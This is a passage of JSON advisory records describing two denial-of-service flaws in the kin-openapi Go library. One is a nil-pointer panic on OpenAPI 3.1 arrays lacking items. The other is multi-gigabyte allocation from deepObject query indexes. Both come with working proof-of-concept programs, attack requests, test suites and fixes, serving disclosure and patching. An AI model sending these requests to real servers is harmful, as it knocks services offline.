@manus-use","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-15T20:15:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-fh4f-47mf-f2gj","https://nvd.nist.gov/vuln/detail/CVE-2026-100347","https://github.com/getkin/kin-openapi/commit/f1a5b523b82868d2d9be2e116b4e942892be72c3","https://github.com/getkin/kin-openapi/releases/tag/v0.145.0","https://github.com/advisories/GHSA-fh4f-47mf-f2gj"],"source_kind":"github","identifiers":["GHSA-fh4f-47mf-f2gj","CVE-2026-100347"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.858Z","updated_at":"2026-10-18T20:00:30.662Z","epss_percentage":0.00515,"epss_percentile":0.42543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maDRmLTQ3bWYtZjJnas4AB9XO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1maDRmLTQ3bWYtZjJnas4AB9XO","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.145.0","vulnerable_version_range":"\u003c= 0.144.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maDRmLTQ3bWYtZjJnas4AB9XO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNndqLXFycjQtcGdoNc4AB9XJ","url":"https://github.com/advisories/GHSA-p6wj-qrr4-pgh5","title":"kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items","description":"### Summary\n\nA nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.\n\n### Details\n\n**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.\n\n**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):\n\n```go\ncase propType.Is(\"array\"):\n    items := propSchema.Value.Items.Value  // Items == nil → panic\n```\n\nThis runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).\n\nThe same nil `Items` also crashes:\n\n| Path | Location | Trigger |\n|---|---|---|\n| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property |\n| `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |\n\n`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.\n\n**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:\n\n```diff\n case propType.Is(\"array\"):\n+\tif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {\n+\t\treturn nil, fmt.Errorf(\"unsupported schema of request body's property %q: array items required for decoding\", propName)\n+\t}\n \titems := propSchema.Value.Items.Value\n```\n\nApply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.\n\n### PoC\n\nVerified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.\n\n**1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:\n\n```yaml\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n```\n\n**2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tlog.Fatalf(\"doc.Validate rejected (unexpected for 3.1): %v\", err)\n\t}\n\tfmt.Println(\"SPEC_ACCEPTED; Items ==\", doc.Paths.Value(\"/f\").Post.RequestBody.Value.\n\t\tContent.Get(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value.Items)\n\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Direct call (no net/http recover): proves the library itself panics.\n\treq, _ := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pp, _ := router.FindRoute(req)\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tfmt.Printf(\"DIRECT_PANIC: %v\\n\", r)\n\t\t\t}\n\t\t}()\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pp, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tfmt.Println(\"DIRECT_PANIC: none (unexpected)\")\n\t}()\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"ok\\n\"))\n\t})\n\n\taddr := \"127.0.0.1:8085\"\n\tfmt.Printf(\"listening on http://%s/f\\n\", addr)\n\tfmt.Println(\"attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://\" + addr + \"/f\")\n\tlog.Fatal(http.ListenAndServe(addr, mux))\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nSPEC_ACCEPTED; Items == \u003cnil\u003e\nDIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference\nlistening on http://127.0.0.1:8085/f\n```\n\nThen:\n\n```\ncurl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f\n```\n\nServer log:\n\n```\nhttp: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference\n… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421\n… openapi3filter.ValidateRequest …\n```\n\nStack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` → `ValidateRequestBody` → `decodeBody`.\n\n**Attack request:**\n\n```\nPOST /f HTTP/1.1\nHost: victim\nContent-Type: application/x-www-form-urlencoded\n\ntags=a\n```\n\n(Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.)\n\n**4. Regression / multi-surface test suite** — save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst urlencodedSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst urlencodedSpec30 = `\nopenapi: 3.0.3\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst multipartSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst responseHeaderSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /hdr:\n    get:\n      responses:\n        '200':\n          description: ok\n          headers:\n            X-Tags:\n              schema: {type: array}\n`\n\nfunc catchPanic(fn func()) (panicValue any) {\n\tdefer func() { panicValue = recover() }()\n\tfn()\n\treturn nil\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\tschema := doc.Paths.Value(\"/f\").Post.RequestBody.Value.Content.\n\t\tGet(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value\n\trequire.True(t, schema.Type.Is(\"array\"))\n\trequire.Nil(t, schema.Items)\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec30))\n\trequire.NoError(t, err)\n\trequire.Error(t, doc.Validate(loader.Context))\n}\n\nfunc TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(multipartSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"tags\", \"a\"))\n\trequire.NoError(t, w.Close())\n\n\treq, err := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(responseHeaderSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodGet, \"/hdr\", nil)\n\trequire.NoError(t, err)\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateResponse(loader.Context, \u0026openapi3filter.ResponseValidationInput{\n\t\t\tRequestValidationInput: \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t},\n\t\t\tStatus: http.StatusOK,\n\t\t\tHeader: http.Header{\"X-Tags\": []string{\"a,b\"}},\n\t\t\tBody:   io.NopCloser(strings.NewReader(\"\")),\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar panicCount int\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\tdefer func() {\n\t\t\tif recover() != nil {\n\t\t\t\tpanicCount++\n\t\t\t\thttp.Error(w, \"panic in ValidateRequest\", http.StatusInternalServerError)\n\t\t\t}\n\t\t}()\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\trequire.NoError(t, err)\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(mux)\n\tt.Cleanup(srv.Close)\n\n\tconst n = 5\n\tfor i := 0; i \u003c n; i++ {\n\t\tresp, err := http.Post(srv.URL+\"/f\", \"application/x-www-form-urlencoded\", strings.NewReader(\"tags=a\"))\n\t\trequire.NoError(t, err)\n\t\t_, _ = io.ReadAll(resp.Body)\n\t\t_ = resp.Body.Close()\n\t\trequire.Equal(t, http.StatusInternalServerError, resp.StatusCode)\n\t}\n\trequire.Equal(t, n, panicCount)\n}\n\nfunc TestArrayItemsNilPanic_Deterministic(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tconst attempts = 50\n\tpanics := 0\n\tfor i := 0; i \u003c attempts; i++ {\n\t\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=x\"))\n\t\trequire.NoError(t, err)\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\tif catchPanic(func() {\n\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t}) != nil {\n\t\t\tpanics++\n\t\t}\n\t}\n\trequire.Equal(t, attempts, panics)\n}\n```\n\n**Observed results on the vulnerable tree:**\n\n- 3.1 accepts the schema (`Items == nil`); 3.0 rejects it\n- urlencoded, multipart, and response-header paths all panic with `nil pointer dereference`\n- **50/50** panic rate (100% deterministic)\n- E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` → HTTP 500\n\n### Impact\n\n- **Type:** NULL Pointer Dereference → **unauthenticated remote denial of service**.\n- **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — `doc.Validate()` does **not** reject them under 3.1.\n- **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.\n- **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash.\n- **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-15T20:14:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","https://nvd.nist.gov/vuln/detail/CVE-2026-97394","https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","https://github.com/getkin/kin-openapi/releases/tag/v0.143.0","https://github.com/advisories/GHSA-p6wj-qrr4-pgh5"],"source_kind":"github","identifiers":["GHSA-p6wj-qrr4-pgh5","CVE-2026-97394"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.867Z","updated_at":"2026-10-22T13:00:13.149Z","epss_percentage":0.00441,"epss_percentile":0.36955,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNndqLXFycjQtcGdoNc4AB9XJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNndqLXFycjQtcGdoNc4AB9XJ","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.143.0","vulnerable_version_range":"\u003e= 0.136.0, \u003c 0.143.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNndqLXFycjQtcGdoNc4AB9XJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg","url":"https://github.com/advisories/GHSA-xhj3-7xw9-vr34","title":"kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding","description":"### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k)          // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k                          // max = attacker's index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ {              // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil)     // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr))   // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n```\n\n**2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000× |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× |\n\n**Attack request** (nothing else required — no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** — a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport 